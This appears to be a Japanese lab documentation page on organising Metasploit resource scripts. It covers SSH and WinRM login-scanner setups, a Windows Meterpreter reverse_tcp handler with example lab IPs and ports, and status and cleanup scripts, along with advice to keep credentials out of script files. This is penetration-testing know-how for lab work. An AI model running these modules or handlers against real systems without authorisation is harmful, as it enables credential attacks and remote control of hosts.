コンテンツにスキップ

リソーススクリプト

繰り返し使う接続準備を .rc に書き、resource か msfconsole -r で読み込みます。資格情報や一時的なセッション ID はスクリプト本体に入れません。

~/lab/msf/rc/
├── ssh_login.prompt.rc
├── winrm_login.prompt.rc
├── handler_windows_meterpreter_reverse.rc
├── handler_windows_meterpreter_bind.rc
├── handler_windows_shell_bind.rc
├── shell_to_meterpreter.rc
├── status.rc
└── cleanup.rc
  • rc/: 毎回同じ接続準備。Git 管理する。
  • profiles/*.local.rc: 対象ごとの setg。Git 管理しない。

起動時にプロファイルを読みます。

ターミナルウィンドウ
msfconsole -q -r ~/lab/msf/profiles/target.local.rc

起動済みの msfconsole では、必要なスクリプトだけを読み込みます。

resource ~/lab/msf/rc/status.rc
resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc

モジュール選択までを .rc に書き、資格情報は実行時引数で渡すパターンです。

resource ~/lab/msf/rc/ssh_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l

.rc 自体は複数行で読みやすく書き、貼り付け例だけ 1 行にします。

rc/ssh_login.prompt.rc:

use auxiliary/scanner/ssh/ssh_login
set STOP_ON_SUCCESS true
set CreateSession true
show options

rc/winrm_login.prompt.rc:

use auxiliary/scanner/winrm/winrm_login
set RPORT 5985
set DOMAIN .
set CreateSession true
show options

リバース接続用の Meterpreter ハンドラ

Section titled “リバース接続用の Meterpreter ハンドラ”

rc/handler_windows_meterpreter_reverse.rc:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set ExitOnSession false
run -j
sessions -l

LHOST / LPORT はプロファイルの setg を使う想定です。値を変えたいときは実行時に上書きします。

resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc
# または
use exploit/multi/handler; run -j verbose=true payload=windows/x64/meterpreter/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=false

rc/status.rc:

db_status
workspace
sessions -l
jobs -l
route print
hosts
services
creds
loot

rc/cleanup.rc(実行前に影響を確認):

jobs -l
jobs -K
route flush
spool off

jobs -K はすべてのバックグラウンドジョブを止めます。

  • 1 つの .rc に「接続準備」だけを置く。列挙や破壊的操作は一手ずつ判断する。
  • パスワード、鍵ファイルやチケットのパスはプロファイルにも .rc にも入れない。
  • セッション ID は毎回変わるのでスクリプトに固定しない。sessions -l で確認してから渡す。
  • フレームワーク同梱の参考例は packages/metasploit-framework/scripts/resource/ にある。検証環境用テンプレートは短く保つ。
  • 同じ操作を何度も打つなら、まず .rc 化してから alias や外部メモへ展開する。